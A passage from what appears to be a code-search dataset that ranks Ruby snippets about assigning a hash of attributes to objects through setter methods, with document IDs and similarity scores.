"text": "def print\n BoardPrinter.new(self).print\n end",
"title": ""
}
] |
dd9421250ed0bd022e0fc90554f57f6b | Given hash of attributes, we assign them to InventoryObject object using its public writers | [
{
"docid": "4eb422fa871cdcadf3cdb705e29fc216",
"score": "0.0",
"text": "def assign_attributes(attributes)\n attributes.each do |k, v|\n # We don't want timestamps or resource versions to be overwritten here, since those are driving the conditions\n next if %i[resource_timestamps resource_timestamps_max resource_timestamp].include?(k)\n next if %i[resource_counters resource_counters_max resource_counter].include?(k)\n\n if data[:resource_timestamp] && attributes[:resource_timestamp]\n assign_only_newest(:resource_timestamp, :resource_timestamps, attributes, data, k, v)\n elsif data[:resource_counter] && attributes[:resource_counter]\n assign_only_newest(:resource_counter, :resource_counters, attributes, data, k, v)\n else\n public_send(\"#{k}=\", v)\n end\n end\n\n if attributes[:resource_timestamp]\n assign_full_row_version_attr(:resource_timestamp, attributes, data)\n elsif attributes[:resource_counter]\n assign_full_row_version_attr(:resource_counter, attributes, data)\n end\n\n self\n end",
"title": ""
}
] | [
{
"docid": "34399cbfcee31535828d347740380fd2",
"score": "0.66522044",
"text": "def raw_inventories_attributes=(attributes)\n @raw_inventories ||= []\n attributes.each do |i, inventory_params|\n if inventory_params[\"_destroy\"] == '1' && !inventory_params[\"id\"].nil?\n # Delete record\n RawInventory.find(inventory_params[\"id\"]).destroy\n elsif inventory_params[\"_destroy\"] == '0'\n inventory_params.delete \"_destroy\" \n puts inventory_params\n if inventory_params[\"id\"].nil?\n # New record\n inventory_params.delete \"id\" \n inventory = RawInventory.create(inventory_params)\n self.raw_inventories << inventory\n else\n # Update record\n RawInventory.find(inventory_params[\"id\"]).update(inventory_params)\n end\n end\n end\n end",
"title": ""
},
{
"docid": "737d3ff172e178727bb5da3b1ff8bac5",
"score": "0.65126866",
"text": "def build(hash)\n hash, uuid, inventory_object = primary_index_scan(hash)\n\n # Return InventoryObject if found in primary index\n return inventory_object unless inventory_object.nil?\n\n # We will take existing skeletal record, so we don't duplicate references for saving. We can have duplicated\n # reference from local_db index, (if we are using .find in parser, that causes N+1 db queries), but that is ok,\n # since that one is not being saved.\n inventory_object = skeletal_primary_index.delete(uuid)\n\n # We want to update the skeletal record with actual data\n inventory_object&.assign_attributes(hash)\n\n # Build the InventoryObject\n inventory_object ||= new_inventory_object(enrich_data(hash))\n\n # Store new InventoryObject and return it\n push(inventory_object)\n inventory_object\n end",
"title": ""
},
{
"docid": "6239b6de63d1cfb6a2718f548725c5b5",
"score": "0.61600405",
"text": "def attributes(inventory_collection_scope = nil)\n # We should explicitly pass a scope, since the inventory_object can be mapped to more InventoryCollections with\n # different blacklist and whitelist. The generic code always passes a scope.\n inventory_collection_scope ||= inventory_collection\n\n attributes_for_saving = {}\n # First transform the values\n data.each do |key, value|\n if !allowed?(inventory_collection_scope, key)\n next\n elsif value.kind_of?(Array) && value.any? { |x| loadable?(x) }\n # Lets fill also the original data, so other InventoryObject referring to this attribute gets the right\n # result\n data[key] = value.compact.map(&:load).compact\n # We can use built in _ids methods to assign array of ids into has_many relations. So e.g. the :key_pairs=\n # relation setter will become :key_pair_ids=\n attributes_for_saving[\"#{key.to_s.singularize}_ids\".to_sym] = data[key].map(&:id).compact.uniq\n elsif loadable?(value) || inventory_collection_scope.association_to_foreign_key_mapping[key]\n # Lets fill also the original data, so other InventoryObject referring to this attribute gets the right\n # result\n data[key] = value.load if value.respond_to?(:load)\n if (foreign_key = inventory_collection_scope.association_to_foreign_key_mapping[key])\n # We have an association to fill, lets fill also the :key, cause some other InventoryObject can refer to it\n record_id = data[key].try(:id)\n attributes_for_saving[foreign_key.to_sym] = record_id\n\n if (foreign_type = inventory_collection_scope.association_to_foreign_type_mapping[key])\n # If we have a polymorphic association, we need to also fill a base class name, but we want to nullify it\n # if record_id is missing\n base_class = data[key].try(:base_class_name) || data[key].class.try(:base_class).try(:name)\n attributes_for_saving[foreign_type.to_sym] = record_id ? base_class : nil\n end\n elsif data[key].kind_of?(::InventoryRefresh::InventoryObject)\n # We have an association to fill but not an Activerecord association, so e.g. Ancestry, lets just load\n # it here. This way of storing ancestry is ineffective in DB call count, but RAM friendly\n attributes_for_saving[key.to_sym] = data[key].base_class_name.constantize.find_by(:id => data[key].id)\n else\n # We have a normal attribute to fill\n attributes_for_saving[key.to_sym] = data[key]\n end\n else\n attributes_for_saving[key.to_sym] = value\n end\n end\n\n attributes_for_saving\n end",
"title": ""
},
{
"docid": "7c5e5a94aebe6df05993bf0c7a5c3dd4",
"score": "0.6155545",
"text": "def initialize(house_hash) # mass assignment \n house_hash.each do |k, v|\n self.send(\"#{k}=\", v) if self.respond_to?(\"#{k}=\") # to return only the attributes I'm asking for \n end \n save\n end",
"title": ""
},
{
"docid": "1decd7679281504e6c9b36d1906aa49e",
"score": "0.61498404",
"text": "def write_attributes(hash)\n attrs = remove_protected_attributes(hash)\n directly_set_attributes(attrs)\n self\n end",
"title": ""
},
{
"docid": "5e0da71be4d6593159f9a5fea3d5024a",
"score": "0.6140258",
"text": "def set_virtual_attributes\n self.owner = self.party_name\n self.owner_type = PartiesRole.find_by_party_name_and_role_name(self.party_name,\"ASSET_OWNER\").party_type_name\n self.pack_material_product_code = self.asset_number\n pack_material_product = PackMaterialProduct.find_by_pack_material_product_code(self.asset_number)\n self.pack_material_sub_type_code = pack_material_product.pack_material_sub_type_code\n self.pack_material_type_code = pack_material_product.pack_material_type_code\n self.ownership = pack_material_product.ownership\n end",
"title": ""
},
{
"docid": "3ffc30cc78ef1e9db92007c77023d07e",
"score": "0.6117436",
"text": "def overwrite_attributes(new_attr_hash)\n @id = new_attr_hash[:id].to_i\n @priority = new_attr_hash[:priority].to_i\n @lag = new_attr_hash[:lag].to_f\n @name = new_attr_hash[:name].to_s\n @usable_in_combat = new_attr_hash[:usable_in_combat]\n @creation_points = new_attr_hash[:creation_points]\n @position = Game.instance.positions[(new_attr_hash[:position_id] || 1)]\n @hp_cost = new_attr_hash[:hp_cost].to_i\n @mana_cost = new_attr_hash[:mana_cost].to_i\n @movement_cost = new_attr_hash[:movement_cost].to_i\n data_string = new_attr_hash[:data]\n if data_string && data_string.length > 0\n @data = JSON.parse(data_string, symbolize_names: true)\n end\n end",
"title": ""
},
{
"docid": "d0606ff832da79233ea70977e435914a",
"score": "0.6045956",
"text": "def overwrite_attributes(new_attr_hash)\r\n @id = new_attr_hash[:id].to_i\r\n @priority = new_attr_hash[:priority].to_i\r\n @keywords.decrement_use_count\r\n @keywords = Keywords.keywords_for_array(new_attr_hash[:keywords].split(\",\"))\r\n @lag = new_attr_hash[:lag].to_f\r\n @name = new_attr_hash[:name].to_s\r\n @usable_in_combat = new_attr_hash[:usable_in_combat]\r\n @creation_points = new_attr_hash[:creation_points]\r\n @position = Game.instance.positions[(new_attr_hash[:position_id] || 1)]\r\n @hp_cost = new_attr_hash[:hp_cost].to_i\r\n @mana_cost = new_attr_hash[:mana_cost].to_i\r\n @movement_cost = new_attr_hash[:movement_cost].to_i\r\n data_string = new_attr_hash[:data]\r\n if data_string && data_string.length > 0\r\n @data = JSON.parse(data_string, symbolize_names: true)\r\n end\r\n end",
"title": ""
},
{
"docid": "0f8b22bc3f9cc2647caed40df16380b8",
"score": "0.60379726",
"text": "def attributes=(hash={})\n assignable_fields.each do |field|\n send(\"#{field}=\", hash[field]) if hash[field]\n end\n end",
"title": ""
},
{
"docid": "c0d630962a4082d47daa38377a5d63e7",
"score": "0.6036619",
"text": "def store_attributes=(attr_hash)\n # see if the object exists first\n # create it if it doesnt\n if !attr_hash.empty?\n self.store = Store.find_or_create_by(attr_hash) #return a store object\n end\n # let item know about this store object\n end",
"title": ""
},
{
"docid": "62a7d0faff610c8b91a7bc89abb49c62",
"score": "0.5980698",
"text": "def assign_attributes(object, attributes)\n attributes.each do |key, value|\n begin\n method = \"#{key}=\"\n object.send method, value\n rescue => e\n raise Aspera::Error::ArgumentError, \"error assigning #{method} #{value}\"\n end\n end\n end",
"title": ""
},
{
"docid": "ecfe101449c751f57a61a006dc095aa0",
"score": "0.59458697",
"text": "def []=(klass, attributes, object)\n shelf[klass][attributes] = object\n end",
"title": ""
},
{
"docid": "7d40e1f1f5c54ea73772a23a6d9c4c5e",
"score": "0.59044623",
"text": "def assign_attributes_from_hash(hash_object, mapname=:default)\n msh = self.class.make_hash_from(hash_object, mapname)\n# accessible_msh = self.class.make_mapped_atts_accessible(msh)\n\n # meh, let's just loop and assign\n (msh.keys & self.attribute_names).each do |key|\n self.send \"#{key}=\", msh[key]\n end\n end",
"title": ""
},
{
"docid": "47a61e9c0f549be680d60bba01f12bfd",
"score": "0.58855504",
"text": "def set_attributes(hash)\n hash.stringify_keys.each{ |k, v| write_attribute_without_id_guard(k, v) }\n end",
"title": ""
},
{
"docid": "92ec72664cfb11ea515486a24efc0734",
"score": "0.5882269",
"text": "def attributes=(hash)\n @source = hash.symbolize_keys\n @address = @source[:address] || @source[:address1]\n @city = @source[:city]\n @state = @source[:state]\n @zip = @source[:zip] || @source[:zip_code] || @source[:postal_code]\n @country = @source[:country]\n @po_box = @source[:po_box]\n end",
"title": ""
},
{
"docid": "c7cfcec5ab674fb39651c985449b6512",
"score": "0.5874143",
"text": "def update object, hash\n @attribute_definitions.each do |_attribute|\n _attribute.update_value_of(object,hash)\n end\n object\n end",
"title": ""
},
{
"docid": "7c26ed42fccfc38ad892a4d76f49d13e",
"score": "0.58407855",
"text": "def assgin_attributes(hash={})\n hash.each do |key,value|\n self[key]=value #if self.has_key?(key)\n end\n end",
"title": ""
},
{
"docid": "7c26ed42fccfc38ad892a4d76f49d13e",
"score": "0.58407855",
"text": "def assgin_attributes(hash={})\n hash.each do |key,value|\n self[key]=value #if self.has_key?(key)\n end\n end",
"title": ""
},
{
"docid": "66b2a3618c3b14e7d70153baf1703406",
"score": "0.5837828",
"text": "def initialize(attr_hash)\n attr_hash.each do |key, value|\n # using send method to create whats above (instance variables, keys, values)\n # if key exits, lets create it\n # bc the hash gives more attributes than I want to use in app\n # ignore attributes w/o setters& getters\n # this customizes data I'm actually using\n # setting each key to its value \n self.send(\"#{key}=\", value) if self.respond_to?(\"#{key}=\")\n end\n save\n end",
"title": ""
},
{
"docid": "086ca0160beb0baf25a0884e2cd2b358",
"score": "0.5807721",
"text": "def assign_hash(hash)\n super hash\n create_if_exists hash, 'title', 'de', name: :c_title\n create_if_exists hash, 'title', name: :c_title\n create_if_exists hash, 'detail_url', name: :c_link\n create_if_exists hash, 'url', name: :c_link\n create_if_exists hash, 'short', name: :c_short\n create_if_exists hash, 'objective', 'de', name: :c_short\n create_if_exists hash, 'teachingContent', 'de', name: :c_teaching_content\n create_if_exists hash, 'additionalInformation', 'de', name: :c_additional_information\n create_if_exists hash, 'lectureNotes', 'de', name: :c_lecture_notes\n create_if_exists hash, 'instituteName', 'de', name: :c_institute_name\n create_if_exists hash, 'instituteCode', name: :c_institute_code\n\n end",
"title": ""
},
{
"docid": "a0dee83e7ee349a1f9c14a60c06eeddf",
"score": "0.5793447",
"text": "def assign_attributes(hash = {})\n _attrs.each do |attr|\n next unless hash.key?(attr)\n send(\"#{attr}=\".to_sym, hash[attr])\n end\n self\n end",
"title": ""
},
{
"docid": "c91645fcbb8a84a94d296bce0c92978e",
"score": "0.5788383",
"text": "def attributes_for_creation( attributes_hash )\n @attributes_hash = attributes_hash\n end",
"title": ""
},
{
"docid": "9f7f3da6f7a06de9e0dbbc2da7f3c136",
"score": "0.57782984",
"text": "def attributes=(hash)\n @attributes = Hash(hash).with_indifferent_access\n end",
"title": ""
},
{
"docid": "947e79243064902410a631237e1224cb",
"score": "0.57668424",
"text": "def investing_attributes=(v)\n unless v.is_a?(Hash)\n super\n return\n end\n \n super v.merge(id: investing.try(:id))\n end",
"title": ""
},
{
"docid": "77af2424e04f0bf3d4e83c5aa13fecb7",
"score": "0.57379454",
"text": "def insert_required_params_into_new_item_object\n @new_item.airline_id = airline.id\n @new_item.starting_airport_code = airport.code\n @new_item.aircrafttype_id = aircrafttype.id\n @new_item.avg_pax_count = aircrafttype.avg_pax_count_default\n @new_item.avg_speed_knots = aircrafttype.avg_speed_knots_default\n @new_item.range_miles = aircrafttype.range_miles_default \n @new_item.acquisition_cost = aircrafttype.cost \n end",
"title": ""
},
{
"docid": "21fcb6984725c00f2b3d78a57e806646",
"score": "0.573268",
"text": "def set_attributes(object, attributes)\n # persist the GUID\n unless object.remote_id.present?\n object.update_attribute(:remote_id, attributes['id'])\n end\n # persist the actual data\n object.update_attributes(attributes['attributes'])\n # persist the data version and last_update timestamp\n object.update_attribute(:remote_version, attributes['version'])\n # persist the lifecycle timestamps\n object.update_attribute(:created_at, attributes['created_at'])\n object.update_attribute(:updated_at, attributes['updated_at'])\n end",
"title": ""
},
{
"docid": "4db6dd53490727a967e4aab7d03b9e51",
"score": "0.5726623",
"text": "def assign_attributes(hash)\n hash.each do |key, value|\n self.instance_variable_set(:\"@#{key}\", value)\n end\n end",
"title": ""
},
{
"docid": "95de7efdcd2e7ef7eaeaa5655ff5c3b8",
"score": "0.5718686",
"text": "def attributes=(hash)\n return unless hash.kind_of? Hash\n hash.nil? ? nil : hash.each { |name, value| self[name] = value }\n end",
"title": ""
},
{
"docid": "30aa9bf39bac83dc1de0c324bac460dc",
"score": "0.56962806",
"text": "def mass_assign(args)\n ATTRIBUTES.each { |key| send(\"#{key}=\", args[key]) if args[key] }\n end",
"title": ""
},
{
"docid": "894a989a7a0d81a7e8c5bd3c252ebc4b",
"score": "0.56946903",
"text": "def itens_attributes=(attributes)\n\t\t end",
"title": ""
},
{
"docid": "df14b132f260436a6203b3bd4ec46b05",
"score": "0.56796896",
"text": "def attributes=(hash)\n hash.each do |k, v|\n setter = \"#{k}=\"\n self.send(setter, v) if self.respond_to?(setter)\n end\n end",
"title": ""
},
{
"docid": "08b9f21ca1223c2d43e0bd9ad0dba92f",
"score": "0.5678697",
"text": "def attributes_with_keys(inventory_collection_scope = nil, all_attribute_keys = [], inventory_object = nil)\n # We should explicitly pass a scope, since the inventory_object can be mapped to more InventoryCollections with\n # different blacklist and whitelist. The generic code always passes a scope.\n inventory_collection_scope ||= inventory_collection\n\n attributes_for_saving = {}\n # First transform the values\n data.each do |key, value|\n if !allowed?(inventory_collection_scope, key)\n next\n elsif loadable?(value) || inventory_collection_scope.association_to_foreign_key_mapping[key]\n # Lets fill also the original data, so other InventoryObject referring to this attribute gets the right\n # result\n data[key] = value.load(inventory_object, key) if value.respond_to?(:load)\n if (foreign_key = inventory_collection_scope.association_to_foreign_key_mapping[key])\n # We have an association to fill, lets fill also the :key, cause some other InventoryObject can refer to it\n record_id = data[key].try(:id)\n foreign_key_to_sym = foreign_key.to_sym\n attributes_for_saving[foreign_key_to_sym] = record_id\n all_attribute_keys << foreign_key_to_sym\n if (foreign_type = inventory_collection_scope.association_to_foreign_type_mapping[key])\n # If we have a polymorphic association, we need to also fill a base class name, but we want to nullify it\n # if record_id is missing\n base_class = data[key].try(:base_class_name) || data[key].class.try(:base_class).try(:name)\n foreign_type_to_sym = foreign_type.to_sym\n attributes_for_saving[foreign_type_to_sym] = record_id ? base_class : nil\n all_attribute_keys << foreign_type_to_sym\n end\n else\n # We have a normal attribute to fill\n attributes_for_saving[key] = data[key]\n all_attribute_keys << key\n end\n else\n attributes_for_saving[key] = value\n all_attribute_keys << key\n end\n end\n\n attributes_for_saving\n end",
"title": ""
},
{
"docid": "7a37c4788f6a173db3dc9a9c6f39645a",
"score": "0.56724095",
"text": "def attributes=(p0) end",
"title": ""
},
{
"docid": "1ece3894b3e1d847fdca64a04bf59f10",
"score": "0.5656641",
"text": "def initialize(inventory, item_data)\n super\n\n @equipped = {}\n BOTS.each_index do |class_id|\n @equipped[BOTS[class_id]] = (item_data[:inventory] & (1 << 16 + class_id) != 0)\n end\n end",
"title": ""
},
{
"docid": "d492b176d057477e3b4d2f6018965f5e",
"score": "0.56536216",
"text": "def create_setters!\n @attributes.each_pair do |k,v|\n self.class.send(:define_method, \"#{k}=\") do |val|\n if k.is_a?(Symbol)\n k = k.to_s\n end\n @attributes[k.to_s] = val\n @unsaved_attributes[k.to_s] = val\n val\n end\n self.class.send(:define_method, \"#{k}\") do\n if k.is_a?(Symbol)\n k = k.to_s\n end\n\n @attributes[k.to_s]\n end\n end\n end",
"title": ""
},
{
"docid": "61a756fe8202c11c1e5676f96498f69c",
"score": "0.5651532",
"text": "def items_dump=(attrs)\n attrs.map do |item|\n purchase = case item['type']\n when 'OrderSkuItem' then Sku.find(item['id'])\n when 'OrderServiceItem' then Service.find(item['id'])\n end\n\n set_quantity(purchase, item['quantity'])\n end\n end",
"title": ""
},
{
"docid": "998ccc6cb6156016d20057662e02f64e",
"score": "0.56460744",
"text": "def add_student_attributes(attributes_hash)\nself.send(\"twitter=\", attributes_hash[:twitter])\nself.send(\"linkedin=\", attributes_hash[:linkedin])\nself.send(\"github=\", attributes_hash[:github])\nself.send(\"blog=\", attributes_hash[:blog])\nself.send(\"profile_quote=\", attributes_hash[:profile_quote])\nself.send(\"bio=\", attributes_hash[:bio])\nself.send(\"profile_url=\", attributes_hash[:profile_url])\nend",
"title": ""
},
{
"docid": "b0ac5597a10d5f6f4df3748377691ec0",
"score": "0.564555",
"text": "def add_student_attributes(attributes_hash)\n # puts \"*******************#{attributes_hash}\"\n attributes_hash.each do |attribute, value|\n self.send(\"#{attribute}=\", value) #ex: converts :name,somename to name= value calling the attr_accessor method created for name\n end #each \n end",
"title": ""
},
{
"docid": "5e649f3625f97de4859232913df0b898",
"score": "0.56435317",
"text": "def initialize(inventory, item_data)\n @defindex = item_data[:defindex]\n @backpack_position = item_data[:inventory] & 0xffff\n @class = inventory.item_schema[@defindex][:item_class]\n @count = item_data[:quantity]\n @id = item_data[:id]\n @level = item_data[:level]\n @name = inventory.item_schema[@defindex][:item_name]\n @quality = inventory.qualities[item_data[:quality]]\n @slot = inventory.item_schema[@defindex][:item_slot]\n @tradeable = !(item_data[:flag_cannot_trade] == true)\n @type = inventory.item_schema[@defindex][:item_type_name]\n\n unless inventory.item_schema[@defindex][:attributes].nil?\n @attributes = inventory.item_schema[@defindex][:attributes]\n end\n end",
"title": ""
},
{
"docid": "27bc73b139560e6b279c029e514010e3",
"score": "0.5637297",
"text": "def attributes=(hash)\n return unless hash.is_a?(Hash)\n # - [:id, :objectId]\n # only overwrite @id if it hasn't been set.\n apply_attributes!(hash, dirty_track: true)\n end",
"title": ""
},
{
"docid": "1f75fa3e00797f351ae94375ee8c5e99",
"score": "0.56360215",
"text": "def build(attributes)\n attributes = {}.merge!(default_values).merge!(attributes)\n fill_versions!(attributes)\n\n # If the primary index is already filled, we don't want populate skeletal index\n uuid = ::InventoryRefresh::InventoryCollection::Reference.build_stringified_reference(attributes, named_ref)\n if (inventory_object = primary_index.find(uuid))\n return inventory_object.assign_attributes(attributes)\n end\n\n # Return if skeletal index already exists\n if (inventory_object = index[uuid])\n return inventory_object.assign_attributes(attributes)\n end\n\n # We want to populate a new skeletal index\n inventory_object = new_inventory_object(attributes)\n index[inventory_object.manager_uuid] = inventory_object\n end",
"title": ""
},
{
"docid": "1fef5bc1d95a327d1543660fe61acb2a",
"score": "0.56342536",
"text": "def equipment_attributes=(equipment_attributes)\n # [{\"name\"=>\"Bug Spray \"}, {\"name\"=>\"Water Boots\"}, {\"name\"=>\"\"}, {\"name\"=>\"\"}, {\"name\"=>\"\"}]\n equipment_attributes.each do |key, value|\n if !value[:name].empty?\n if new_item = Equipment.find_by(name: value[:name])\n self.equipment << new_item\n else\n self.equipment.build(name: value[:name])\n end\n end\n end\n end",
"title": ""
},
{
"docid": "3cc648a339c4f4e29e0d699b9530dd2a",
"score": "0.5626942",
"text": "def _set_attr # set_attr object attribute\r\n obj_id, attribute = @operands\r\n\r\n (zobj obj_id).set_attribute attribute\r\n end",
"title": ""
},
{
"docid": "05f7b0bebcb0b65c022c36643a39d3dd",
"score": "0.5622734",
"text": "def initialize(attributes)\n attributes.each do |key, value|\n #binding.pry\n #self.attr_accessor :key #dynamically set attr accessor\n self.send(\"#{key}=\", value)\n end\n save\n end",
"title": ""
},
{
"docid": "40a058b9e9fea52c76c51214d29aeacf",
"score": "0.56211156",
"text": "def directly_set_attributes(hash, mass_assign = false)\n return if hash.nil?\n\n multi_parameter_attributes = []\n\n hash.reject do |key, value|\n if key.to_s.include?(\"(\")\n multi_parameter_attributes << [ key, value ]\n false\n elsif self.respond_to?(\"#{key}=\")\n self.send(\"#{key}=\", value) \n elsif mass_assign || mass_assign_any_attribute\n self[key] = value\n end\n end\n\n # Handle attributes provided in an embedded object format, such\n # as a web-form.\n unless multi_parameter_attributes.empty?\n assign_multiparameter_attributes(multi_parameter_attributes, hash)\n end\n end",
"title": ""
},
{
"docid": "789d17baffbd6a6b2f82b438e5e3b54b",
"score": "0.5614251",
"text": "def initialize(attributes) #hash of name/model key value pairs\n attributes.each do |key, value| \n # binding.pry\n #self.attr_accessor(key)\n self.send(\"#{key}=\", value)\n end\n save\n end",
"title": ""
},
{
"docid": "db8fcc475973e0ea5a5ad81420f554c8",
"score": "0.56034094",
"text": "def passthrough object , attributes\n ret = {}\n attributes.each do |name|\n ret[name.to_s] = object.send(name)\n end\n ret\n end",
"title": ""
},
{
"docid": "f04ad06719e39726e6d181627f1dabdd",
"score": "0.5574394",
"text": "def initialize(attributes = {})\n @attributes ||= Utils::Attributes.new\n\n attributes.to_h.each do |key, value|\n public_send(\"#{ key }=\", value) if assign_attribute?(key)\n end\n end",
"title": ""
},
{
"docid": "ebfb69186191dab256c06a96512010a9",
"score": "0.55716354",
"text": "def put_attribute!( object, attribute_name, attribute_value )\n\n @objects[ object.persistence_id ] ||= { }\n @objects[ object.persistence_id ][ attribute_name ] = ( attribute_name.is_a?( Symbol ) ? attribute_value : attribute_value.dup )\n\n return self\n\n end",
"title": ""
},
{
"docid": "690b3dc46c1f3fac78654aaf0450b441",
"score": "0.5569053",
"text": "def assign_with(hash)\n hash.each { |k, v| \n next if k == \"id\"\n awriter = \"#{k}=\"\n if respond_to? awriter\n case v\n when \"@@TIME\"\n v = Time.local(\n hash[\"#{k}_year\"].to_i,\n hash[\"#{k}_month\"].to_i,\n hash[\"#{k}_day\"].to_i,\n hash[\"#{k}_hour\"].to_i,\n hash[\"#{k}_min\"].to_i,\n hash[\"#{k}_sec\"].to_i\n )\n when \"@@DATETIME\"\n v = DateTime.new(\n hash[\"#{k}_year\"].to_i,\n hash[\"#{k}_month\"].to_i,\n hash[\"#{k}_day\"].to_i,\n hash[\"#{k}_hour\"].to_i,\n hash[\"#{k}_min\"].to_i,\n hash[\"#{k}_sec\"].to_i\n )\n end\n send(awriter, v)\n end\n }\n return self\n end",
"title": ""
},
{
"docid": "3429d1f756bd514779a5e43df0f87b43",
"score": "0.55675983",
"text": "def create_setters!\n @attributes.each_pair do |k,v|\n \n self.class.send(:define_method, \"#{k}=\") do |val|\n if k.is_a?(Symbol)\n k = k.to_s\n end\n \n val = val.to_pointer if val.respond_to?(:to_pointer)\n val = {\"__type\"=>\"Date\",\"iso\"=>val.to_s} if val.is_a?(DateTime)\n\n @attributes[k.to_s] = val\n @unsaved_attributes[k.to_s] = val\n \n val\n end\n \n self.class.send(:define_method, \"#{k}\") do\n \n case @attributes[k]\n when Hash\n \n klass_name = @attributes[k][\"className\"]\n klass_name = \"User\" if klass_name == \"_User\"\n \n case @attributes[k][\"__type\"]\n when \"Pointer\"\n result = klass_name.constantize.find(@attributes[k][\"objectId\"])\n when \"Object\"\n result = klass_name.constantize.new(@attributes[k], false)\n when \"Date\"\n result = DateTime.iso8601(@attributes[k][\"iso\"])\n end #todo: support Bytes and other types https://www.parse.com/docs/rest#objects-types \n \n else\n result = @attributes[k]\n end\n \n result\n end\n \n end\n end",
"title": ""
},
{
"docid": "1f54792809ffd754fa586f24cd1e645f",
"score": "0.55625474",
"text": "def write_attributes(attributes)\n return if attributes.blank?\n\n attributes.each do |name, value|\n unless self.class._fields.key?(name.to_sym) || self.respond_to?(:\"#{name}=\")\n next if name.to_s == 'id'\n raise FieldDoesNotExistException.new \"[#{self.class.inspect}] setting an unknown attribute '#{name}' with the value '#{value.inspect}'\"\n end\n\n if self.localized_field?(name) && value.is_a?(Hash)\n self.send(:\"#{name}_translations=\", value)\n else\n self.send(:\"#{name}=\", value)\n end\n end\n end",
"title": ""
},
{
"docid": "00c315b500d304bd6a224df0cc883b7e",
"score": "0.5560294",
"text": "def with_attributes(source_name, hash)\n attribute_hash_infos << AttributeHashInfo.new(source_name, hash)\n end",
"title": ""
},
{
"docid": "850a5e1fa1ebc7a7d29ea8bf253a1bcd",
"score": "0.5556553",
"text": "def make_object(**attributes, &block)\n obj = new_object(**attributes, &block)\n _write(obj)\n obj\n end",
"title": ""
},
{
"docid": "c674833cabeb49069e25764e55079a6d",
"score": "0.5555083",
"text": "def make_object(**attributes, &block)\n obj = new_object(**attributes, &block)\n _write(obj)\n obj\n end",
"title": ""
},
{
"docid": "63e224b1d3e19e59d9002c5d5f945c67",
"score": "0.5546718",
"text": "def load hash # :nodoc:\n new.tap do |file|\n for attribute in serialized_attributes\n file.send \"#{attribute}=\", hash[attribute]\n end\n end\n end",
"title": ""
},
{
"docid": "1d74e801002411cb4bf3e787a59d6f3c",
"score": "0.5540546",
"text": "def define_attributes(hash={})\n hash.each_pair do |key, value|\n self.class.send(:attr_writer, key) unless respond_to?(\"#{key}=\".to_sym)\n self.class.send(:attr_reader, key) unless respond_to?(\"#{key}\".to_sym)\n send \"#{key}=\".to_sym, value\n end\n end",
"title": ""
},
{
"docid": "3ae8103d454982260e56e37fc3b7ab25",
"score": "0.55403274",
"text": "def initialize(attributes = {})\r\n\t\tattributes.each do |name, value|\r\n\t\t\tif REJECTED_PROPERTIES.include? name\r\n\t\t\t\tnext\r\n\t\t\telsif name == \"geom_feature\"\r\n\t\t\t\t# if it's a GEO JSON hash\r\n\t\t\t\tsend(\"#{name}=\", RGeo::GeoJSON.decode(value)) \r\n\t\t\telsif name == \"country\"\r\n\t\t\t\tsend(\"#{name}=\",Country.new(value))\r\n\t\t\telsif name == \"street\" and value\r\n\t\t\t\tsend(\"#{name}=\",Street.new(value))\t\t\t\r\n\t\t\telsif attributes[name].class.to_s == \"Hash\" \r\n\t\t\t\t# if it's a relation hash\r\n\t\t\t\tsend(\"#{name}_id=\",attributes[name][\"id\"])\r\n\t\t\telsif name == \"categories\"\r\n\t\t\t\t# save categories ids\r\n\t\t\t\tarray = []\r\n\t\t\t\tvalue.each do |x|\r\n\t\t\t\t\tarray << x[\"id\"]\r\n\t\t\t\tend\r\n\t\t\t\tsend(\"#{name}_id=\",array)\r\n\t\t\telsif attributes[name] != nil\r\n\t\t\t\t# if it's an object's attribute check if can be converted to Time object\r\n\t\t\t\tvalue = (value.to_time rescue value)\r\n\t\t\t\tsend(\"#{name}=\",value)\r\n\t\t\tend\r\n\t\tend\r\n\tend",
"title": ""
},
{
"docid": "3f565244612771e671f3d8034d5f4127",
"score": "0.55383366",
"text": "def assignable_attributes\n HashWithIndifferentAccess.new(attributes).slice(:id, :account_id, :amount, :line_number, :summary, :reversed_amount)\n end",
"title": ""
},
{
"docid": "80c4f81bb224a10265a2206ce89c2014",
"score": "0.55382115",
"text": "def assign_attributes(attrs = {})\n super cast_attributes(attrs)\n end",
"title": ""
},
{
"docid": "f8276d880ece8349496110befe0a26a8",
"score": "0.5529275",
"text": "def initialize(inventory, item_data)\n super\n\n @equipped = {}\n CLASSES.each_index do |class_id|\n @equipped[CLASSES[class_id]] = (item_data[:inventory] & (1 << 16 + class_id) != 0)\n end\n end",
"title": ""
},
{
"docid": "83ef1051471806f113bf16fa8b418c07",
"score": "0.55275667",
"text": "def attributes=(hash)\n @attributes = BASE.merge(hash)\n end",
"title": ""
},
{
"docid": "5e93a3c8d94abd9c1436fe8a2ca1848c",
"score": "0.5524064",
"text": "def copy( hash = {})\n item = Models::Item.created(hash[:name] || self.name, hash[:price] || self.price,\n hash[:owner] || self.owner, hash[:quantity] ||self.quantity,\n hash[:description] || self.description, hash[:image] || self.image)\n item\n end",
"title": ""
},
{
"docid": "d8b3cda337c2c519f7935a54599b20cf",
"score": "0.55232805",
"text": "def initialize(attributes)\n attributes.each do |key, value|\n self.class.attr_accessor(key)\n self.send(\"#{key}=\", value)\n end \n save\n end",
"title": ""
},
{
"docid": "7d226e9fbd2a3ee44cd57c000a6ac156",
"score": "0.5523263",
"text": "def assign_hash(hash)\n super hash\n hash['tiss_id'] = self.class.get_id(hash)\n create_if_exists hash, 'id', name: :tiss_id\n end",
"title": ""
},
{
"docid": "aaf46a2fd9d831b4a4b0a8b918433d91",
"score": "0.55145365",
"text": "def add_attributes(hash)\n hash.each_pair do |k,v|\n k = k.to_sym\n #raise DuplicateAttribute.new(\"#{k}\") unless (k == :id or !self.respond_to?(k))\n if k == :id or !self.respond_to?(k)\n @cached_attrs[k] = v\n meta = class << self; self; end\n meta.send(:define_method, k) { @cached_attrs[k] }\n meta.send(:define_method, \"#{k}=\") do |new_value| \n @cached_attrs[k] = new_value.is_a?(RedisRecord::Model) ? new_value.id : new_value\n @stored_attrs.delete(k)\n end\n end\n end\n hash\n end",
"title": ""
},
{
"docid": "9e7a438560273d9041c411b495071d96",
"score": "0.5507383",
"text": "def set_metadata(hash) \n end",
"title": ""
},
{
"docid": "4a784b1028ac683573be61371eed18f6",
"score": "0.5505657",
"text": "def initialize(attributes)\n @name, attributes = attributes.to_a.flatten\n @id = SecureRandom.uuid\n @attributes = attributes.map do |key, value|\n [\n key, \n {\n string_value: value, \n data_type: \"String\"\n }\n ]\n end.to_h\n @bytesize = to_hash.to_json.bytesize\n end",
"title": ""
},
{
